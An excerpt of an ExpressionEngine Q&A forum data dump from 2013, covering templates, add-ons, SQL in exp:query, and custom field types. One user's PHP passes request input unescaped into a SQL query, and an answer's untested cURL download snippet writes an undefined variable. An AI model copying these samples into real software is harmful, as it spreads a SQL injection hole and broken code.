  <row Id="9143" PostTypeId="2" ParentId="9140" CreationDate="2013-04-09T13:10:34.667" Score="2" Body="&lt;p&gt;Is this a typo whilst copy/pasting or are discipline02 children meant to cross-link to discipline01 children?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;discipline02&#xA;  --Child01  URL://discipline01/Child01&#xA;  --Child03  URL://discipline01/Child03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand correcly I'm not sure Structure is the best fit in this situation. Structure largely exists to provide that familiar page-based CMS system to those used to it but EE by default is more of a resource description framework (i.e. it deals with streams/channels of content). Unless it's a strict one-to-one relationship with pages and URLs then Structure probably isn't the best thing to run this setup through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what the child pages are or even the disciplines from what you've provided but I would take it back to channels and categories. You could have a '&lt;em&gt;discipline&lt;/em&gt;' channel and then use categories to manage their hierarchy. That way you could apply a 'discipline' entry to both 'discipline01' and discipline02' and the URLs would follow the template_group/template structure. with a few cunning condtional &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;segment variable&lt;/a&gt; checks you could make it appear in multiple locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that makes sense but if you're still in need of advice just let me know.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T13:10:34.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9144" PostTypeId="2" ParentId="9142" CreationDate="2013-04-09T13:14:48.653" Score="0" Body="&lt;p&gt;Sure. You just need to use the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#redirect&quot; rel=&quot;nofollow&quot;&gt;redirect tag&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect='site/404'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will redirect to the template_group/template specified.  :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T13:14:48.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9145" PostTypeId="2" ParentId="6865" CreationDate="2013-04-09T13:57:25.440" Score="1" Body="&lt;p&gt;This can quite often be something happening on the server/network level that you don't specifically know about. I had a similar problem and I eventually discovered that it was due to some reverse proxying being done on the server that I wasn't aware of. It could be worth confirming with the hosts. I wouldn't be surprised if MT were doing something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that a solid solution is to use &lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow&quot;&gt;DM Force SSL&lt;/a&gt;. It's a very useful plugin and just ensures that page is served up over SSL. No harm in being sure either way. You simple place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:dm_force_ssl:force}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of the template and it will always redirect.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T13:57:25.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="1" CreationDate="2013-04-09T14:01:07.480" Score="2" ViewCount="101" Body="&lt;p&gt;We have a client's site that has a handful of custom member profile fields, one of them being used for a street address. This particular client would like to perform a keyword search on that address but there's no way to do that from EE. I know we can build a custom search form on the front-end using Solspace User but I was hoping for a control panel add-on that would provide similar functionality.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-09-01T20:15:31.877" Title="Is there a good control panel add-on that provides more robust member search functionality?" Tags="|members|search|member-details|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="2" ParentId="9146" CreationDate="2013-04-09T14:13:25.037" Score="1" Body="&lt;p&gt;As far as I know there's nothing native or by way of an addon that provides a better search facility for custom member fields from the control panel. If you specifically wanted this then I'd go with either &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; which brings your Member data into regular channels for searching, filtering, and sorting via the Edit screen. They make it much easier when dealing with front-end templates and custom member fields too.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T14:13:25.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostTypeId="1" CreationDate="2013-04-09T15:03:12.193" Score="2" ViewCount="468" Body="&lt;p&gt;We have a single channel that holds all the information for one dataset, in our case, Producers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have multiple Event type channels, for each of the Events that our client holds every year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then add an entry which holds a relationship field to the Producer channel, so that we can show a list of Producers attending that particular Event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, but can be labour intensive if for example 200 Producers attend an Event, as we would have to create 200 new entries in that particular Event type channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We thought Playa might make this a better admin process, as it allows you to multiple select relationships within one Playa field. Therefore, each Event type channel would have just one entry, that had a Playa field holding all the Producer relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble is, we can't get this to work with Structure, as Structure does not seem to recognise the individual relationships. The following code lists the Producers for an Event, but does not link through to the detail page as the {page_uri} variable for each listing is empty (this is why we presume the relationship is not recognised):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries}&#xA;&#xA;    {exp:playa:children field=&quot;producers&quot; limit=&quot;5&quot;}&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{page_uri}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can Expression Engine, Structure and Playa work in this way, and if so, how do we correct the above template code?&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2013-05-17T22:25:32.287" Title="Is it possible to use EE, Structure and Playa to create multiple related listings and detail pages?" Tags="|playa|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9150" PostTypeId="2" ParentId="9146" CreationDate="2013-04-09T15:56:49.720" Score="1" Body="&lt;p&gt;I am not aware of any addons that offer keyword search of member data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest building this in a normal EE template with jQuery. Protect the page with a conditional to only allow access to the member groups you want to view it and create a quick link to the page from inside the EE control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up an EE template to pull all the member data into a table using EE tags or the query module and use a jQuery plugin for the search/filtering... &lt;a href=&quot;http://www.datatables.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;DataTables&lt;/strong&gt;&lt;/a&gt; is a free jQuery plugin that will allow searching/filtering and pagination.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-04-09T16:03:44.843" LastActivityDate="2013-04-09T16:03:44.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9151" PostTypeId="1" AcceptedAnswerId="14824" CreationDate="2013-04-09T16:09:13.087" Score="1" ViewCount="364" Body="&lt;p&gt;I have got editors who often have an entry open around 30minutes before saving.&#xA;I have turned on autosaving in the config.php file and this is also reflected in the config edotr in the control panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['autosave_interval_seconds'] = '5'; // to test I have set this to 5 seconds &#xA;$config['autosave_prune_hours'] = '8';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to research this problem but I can't find anything helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using ExpressionEngine v2.5.2 (this is a multi site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated,&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-10-21T21:38:17.500" Title="Why is EE not autosaving?" Tags="|channel-entries|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9152" PostTypeId="1" AcceptedAnswerId="9226" CreationDate="2013-04-09T16:10:28.590" Score="2" ViewCount="1466" Body="&lt;p&gt;I'm using quite a complex query using exp:query to generate the member ID's of members who have certain data in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling on how to pass the generated ID's onto a channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather that I can't put a channel entries tag inside the query, it certainly didn't work correctly she. I tried, so should I be using php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've virtually zero knowledge with php, so does anyone have any suggestions on the correct way to pass a pipe delimited list of member ID's from a query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1310" LastActivityDate="2013-04-11T11:28:14.313" Title="Passing ID’s from a query to Channel Entries" Tags="|channel-entries|php|query|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostTypeId="2" ParentId="9152" CreationDate="2013-04-09T16:16:06.867" Score="0" Body="&lt;p&gt;An embed solves this problem. You didn't provide any code in your question so my code below is for demonstrating the concept only. You'll need to adjust for what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your main template add your query module code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/member&quot; ids=&quot;{exp:query sql='SELECT member_id FROM exp_members'}{member_id}|{/exp:query}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your embed you can call the IDs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; author_id=&quot;{embed:ids}&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-09T16:16:06.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostTypeId="2" ParentId="9149" CreationDate="2013-04-09T16:30:51.430" Score="1" Body="&lt;p&gt;They can work happily together but it looks like you're confusing the benefits of Structure. Structure aims to provide the clients with more of a traditional page-based CMS structure presenting more of a one-to-one relationship with pages to URL's. In your case it sounds like you're working with '&lt;em&gt;&lt;a href=&quot;http://buildwithstructure.com/documentation/creating_listings/&quot; rel=&quot;nofollow&quot;&gt;Listings&lt;/a&gt;&lt;/em&gt;' which are just Channel Entries so you don't really need to use Structure in your templates at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly &lt;code&gt;{exp:structure:entries}&lt;/code&gt; is not native to Structure. It looks like you're using the &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;Structure Entries&lt;/a&gt; addon. Again, this isn't necessary from what you've described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do use is the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag with a &lt;code&gt;{playa}&lt;/code&gt; tags inside to output the relationships. So call out the entry based on the entry_id and then output the Playa field of all the Producers who are attending the event. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    {exp:playa:children field=&quot;producers&quot; limit=&quot;5&quot;}&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{page_uri}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget that if you're dealing with a Structure managed &lt;em&gt;Listing&lt;/em&gt; then you'll need to add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to the Channel Entries tag.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-09T16:30:51.430" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostTypeId="1" CreationDate="2013-04-09T17:01:51.887" Score="1" ViewCount="902" Body="&lt;p&gt;I have a bunch of testimonials in a channel. Some have the exact same value in the title field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query &#xA;sql=&quot;&#xA;SELECT DISTINCT title&#xA;FROM exp_channel_titles &#xA;WHERE channel_id=19 &#xA;ORDER BY RAND() LIMIT 3&#xA;&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;testimonials&quot; disable=&quot;categories|member_data|pagination&quot; &#xA;    search:title=&quot;{the_title}&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;&#xA;       {title}&#xA;&#xA;     {/exp:channel:entries}&#xA;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I insure I do not get more than one entry with the same title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write a little SQL if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-04-16T17:34:54.720" LastActivityDate="2013-04-16T17:34:54.720" Title="Avoiding duplicate based on title in exp:channel:entries" Tags="|channel-entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="1" AcceptedAnswerId="9196" CreationDate="2013-04-09T17:32:50.917" Score="2" ViewCount="233" Body="&lt;p&gt;I've got a channel where the editor is specifying a YouTube link. I'll also need a still from the video, which I can get from YT (see &lt;a href=&quot;https://stackoverflow.com/questions/2068344/how-to-get-thumbnail-of-youtube-video-link-using-youtube-api&quot;&gt;https://stackoverflow.com/questions/2068344/how-to-get-thumbnail-of-youtube-video-link-using-youtube-api&lt;/a&gt;); but I want to store the image locally. How would I go about capturing or uploading the file to my upload directory, and having EE perform the resizing service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I should have specified that I don't want the user to upload the video still. At this point I've got the video ID, and the CMS should fetch the still from YT, and load it into EE's file manager. Any way to do that?&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-10T19:57:16.133" Title="Programmatically Uploading Image" Tags="|file-uploads|image|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9160" PostTypeId="2" ParentId="9157" CreationDate="2013-04-09T17:37:04.320" Score="1" Body="&lt;p&gt;Updated query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT tmp.entry_id AS entryId&#xA;FROM (SELECT entry_id, title FROM exp_channel_titles WHERE channel_id='1' AND status='open' ORDER BY RAND()) tmp &#xA;GROUP BY tmp.title LIMIT 5&quot;}&#xA;    {exp:channel:entries entry_id=&quot;{entryId}&quot; disable=&quot;categories|member_data|custom_fields|pagination|trackbacks}&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to pass correct channel_id within WHERE clause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see, I am applying the GROUP BY clause on random records so that query can group the entries based on random order otherwise each time query will return the top most record having duplicate Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would be workable for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-12T17:32:05.983" LastActivityDate="2013-04-12T17:32:05.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9162" PostTypeId="1" CreationDate="2013-04-09T17:46:17.333" Score="1" ViewCount="134" Body="&lt;p&gt;Just visited a client that has Wygwam v2.4.0.2 and EE 2.4.0. The Enter key wouldn't function in IE10. Worked fine in Chrome. Is this a known bug that was fixed in an updated version of Wygwam? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-05-10T19:21:38.180" Title="Wygwam and IE10, Enter key doesn't function in IE10" Tags="|wygwam|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9163" PostTypeId="2" ParentId="9152" CreationDate="2013-04-09T19:02:07.367" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/group-by-functions.html#function_group-concat&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GROUP_CONCAT&lt;/code&gt;&lt;/a&gt; is your friend. Instead of returning multiple rows of entry IDs, &lt;code&gt;GROUP_CONCAT&lt;/code&gt; lets you return a single row containing a concatenated string of a single field, like &lt;code&gt;entry_id&lt;/code&gt;, like in this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT GROUP_CONCAT(DISTINCT entry_id SEPARATOR '|') AS entry_ids&#xA;                FROM exp_channel_titles WHERE channel_id = 1&#xA;                # ...and more where clauses here...&#xA;                GROUP BY entry_id&quot;}&#xA;&#xA;    {exp:channel:entries entry_id=&quot;{entry_ids}&quot;}&#xA;        ...&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, use &lt;code&gt;GROUP_CONCAT&lt;/code&gt; and &lt;code&gt;SEPARATOR '|'&lt;/code&gt; to generate the pipe-separated list of field values of any field you want.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-04-09T19:18:31.517" LastActivityDate="2013-04-09T19:18:31.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9164" PostTypeId="2" ParentId="9040" CreationDate="2013-04-09T19:07:14.290" Score="1" Body="&lt;p&gt;Here´s what I did:&#xA;I iterated til I found the max file size, which is around 2,2 MB. I set this as a limit in the CP file manager in order to avoid, that users can upload bigger files. I also ask users to sumbit images with a least 1200 px width. This will give me a sufficient image quality. &#xA;This is a very pragmatic solution, that doesn´t solve the problem, but something I can live with.&#xA;It´s easier to take this route, than to discuss this issue with my hosting company or to upgerade to my own server.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-04-09T19:07:14.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostTypeId="1" AcceptedAnswerId="9184" CreationDate="2013-04-09T21:26:13.927" Score="5" ViewCount="980" Body="&lt;p&gt;I am working on a complex EE site (version 2.5.2) that I've been handed that has a large number of templates. I wish to customize the template for a specific entry. I have created a duplicate of the template that an entry item is using. I wish to change that template to accommodate a design change. The original template for that entry item is &amp;quot;index&amp;quot; and the new template is called &amp;quot;graduate-program&amp;quot; However, when I edit said entry item, and then use the &amp;quot;template&amp;quot; dropdown menu to change the template assignment to &amp;quot;graduate-program&amp;quot; and click &amp;quot;submit&amp;quot; the entry's template does not change. It remains the &amp;quot;index&amp;quot; template.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on how to resolve this?&lt;/p&gt;&#xA;&lt;h3&gt;Update: more details:&lt;/h3&gt;&#xA;&lt;p&gt;The channel in question has 8 channel entries associated with it. I wish for &lt;em&gt;one&lt;/em&gt; of the 8 entries to use a unique template.&lt;/p&gt;&#xA;&lt;p&gt;Snippet from the currently-selected template. This allows me to confirm via &lt;em&gt;view source&lt;/em&gt; which template EE is applying to the content:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&amp;quot;common/_header&amp;quot;}&#xA;&#xA;&amp;lt;!-- academics/index --&amp;gt;&#xA;&#xA;{if segment_1 == &amp;quot;academics&amp;quot; &amp;amp;&amp;amp; segment_2 !=&amp;quot;&amp;quot; &amp;amp;&amp;amp; segment_2 !=&amp;quot;a&amp;quot;}&#xA;{if segment_2 != &amp;quot;&amp;quot; &amp;amp;&amp;amp; segment_3 == &amp;quot;&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://tinypic.com/view.php?pic=ay1152&amp;amp;s=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;channel entries&lt;/a&gt; in question&lt;/p&gt;&#xA;&lt;p&gt;The entry in question as output via the edit entry page, shows the wrong template as being the current selection. (had to remove external link to screenshot)&lt;/p&gt;&#xA;&lt;p&gt;Finally, here is what I'd &lt;em&gt;like&lt;/em&gt; to use for the template for said item:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zlpMJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlpMJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Please let me know what other details I may provide for clarity.&lt;/p&gt;&#xA;" OwnerUserId="1040" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2019-08-26T12:24:11.190" Title="Cannot change the template assigned to an entry item" Tags="|ee2|templates|entry|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="9166" PostTypeId="1" AcceptedAnswerId="9173" CreationDate="2013-04-09T22:21:11.323" Score="1" ViewCount="217" Body="&lt;p&gt;I'm trying to create my own custom field type, however, when I go to load the view, the var's within my display_field function, are Undefined. All I'm trying to do, is Load a view file, then in the view, loop through and array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_field($data)&#xA;    {&#xA;        $entry_id = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('entry_id');&#xA;        $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM exp_channel_images WHERE entry_id = '$entry_id'&quot;);&#xA;&#xA;        $channelImages = array();&#xA;&#xA;        if ($query-&amp;gt;num_rows() &amp;gt; 0)&#xA;        {&#xA;            foreach($query-&amp;gt;result_array() as $row)&#xA;            {&#xA;               array_push($channelImages, $row);&#xA;            }&#xA;        }&#xA;&#xA;        return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('index', $channelImages, TRUE);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, my view file is called index.php, and is located under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/third_party/channel_images_sources/views/index.php&lt;/p&gt;&#xA;" OwnerUserId="1182" LastActivityDate="2013-04-10T06:29:29.297" Title="Custom Field Type - Data not passing to the view" Tags="|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9167" PostTypeId="2" ParentId="9005" CreationDate="2013-04-10T01:14:00.457" Score="2" Body="&lt;p&gt;Just a few things I can think of off the top of my head.  Run a php info script in the locate where you plan to install expressionengine.  See what the script tells you the memory limit is there at that point.  It is possible there may be some configuration override happening that means what you've got in cpanel is not what you actually have where you are trying to install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that I'm sure you probably know, but I have seen people make the mistake before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP memory limit is different from PHP upload size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is allowed on the server you are working with you could try the following in an .htaccess file to get the settings how you want them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 32M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-04-10T01:14:00.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="2" ParentId="9159" CreationDate="2013-04-10T01:42:08.813" Score="1" Body="&lt;p&gt;First of all you need to download the YouTube image via CURL and after that save it within the preferred directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imgURL = 'youtube image link';&#xA;&#xA;$ch = curl_init(); &#xA;curl_setopt($ch, CURLOPT_URL, $imgURL);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); &#xA;curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);&#xA;curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);&#xA;curl_setopt($ch, CURLOPT_TIMEOUT, 30);&#xA;$imgContents = curl_exec($ch);&#xA;curl_close($ch);&#xA;&#xA;$upload_dir_path = 'upload/directory/path';&#xA;&#xA;$file = @fopen($upload_dir_path, 'wb');&#xA;@fwrite($file, $content);&#xA;@fclose($file);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please Note:&lt;/strong&gt; I didn't test above code. It would give a good pointer to code this feature.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-10T01:42:08.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostTypeId="2" ParentId="9166" CreationDate="2013-04-10T03:09:39.763" Score="1" Body="&lt;p&gt;The display_field function of field type will not load view file so you need to return the data / content which you would like to show at edit or publish forms and SAEF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_field($data){&#xA;/***&#xA;other code&#xA;**/&#xA;&#xA;return &quot;&amp;lt;div&amp;gt;SOME DATA or VARIABLES&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-10T03:09:39.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostTypeId="1" AcceptedAnswerId="9189" CreationDate="2013-04-10T04:41:05.157" Score="1" ViewCount="41" Body="&lt;p&gt;There seems to be a problem with having a zero(0) value in a select dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using select dropdown to do some minimum-maximum ranges on a field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range-from:foo&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Min Foo&amp;lt;/option&amp;gt;&#xA;&amp;lt;option {if &quot;0&quot; IN ({low_search_range-from:foo})}selected=&quot;selected&quot;{/if} value=&quot;0&quot;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;....&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;select name=&quot;range-to:foo&quot; id=&quot;property_number_of_bedrooms_to&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Max Foo&amp;lt;/option&amp;gt;&#xA;&amp;lt;option {if &quot;0&quot; IN ({low_search_range-to:foo})}selected=&quot;selected&quot;{/if} value=&quot;0&quot;&amp;gt;0&amp;lt;/option&amp;gt;&#xA;....&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried choosing the option with value=&quot;0&quot; and then submit. When I get back on the page, the option with the value=&quot;&quot; is selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried outputting {low_search_range-from:foo} and {low_search_range-to:foo} and they both output a blank string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that low search probably type casted this to a string which returned a blank string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this? I want to get 0 as my value literally when the option value is 0.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-04-10T15:13:00.407" Title="Low Search - Why does a range value evaluate to a blank string instead of a literal 0?" Tags="|low-search|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostTypeId="2" ParentId="8796" CreationDate="2013-04-10T05:12:09.923" Score="3" Body="&lt;p&gt;For anyone that has encountered this same issue, Mark Croxton was able to solve the issue at the devot-ee support forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, wrapping the next_entry tag pair with a stash parse tag like so {exp:stash:parse}....{/exp:stash:parse} on the first code block solves the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full support thread: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/9131&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/9131&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1255" LastEditorUserId="139" LastEditDate="2017-06-24T00:04:27.223" LastActivityDate="2017-06-24T00:04:27.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
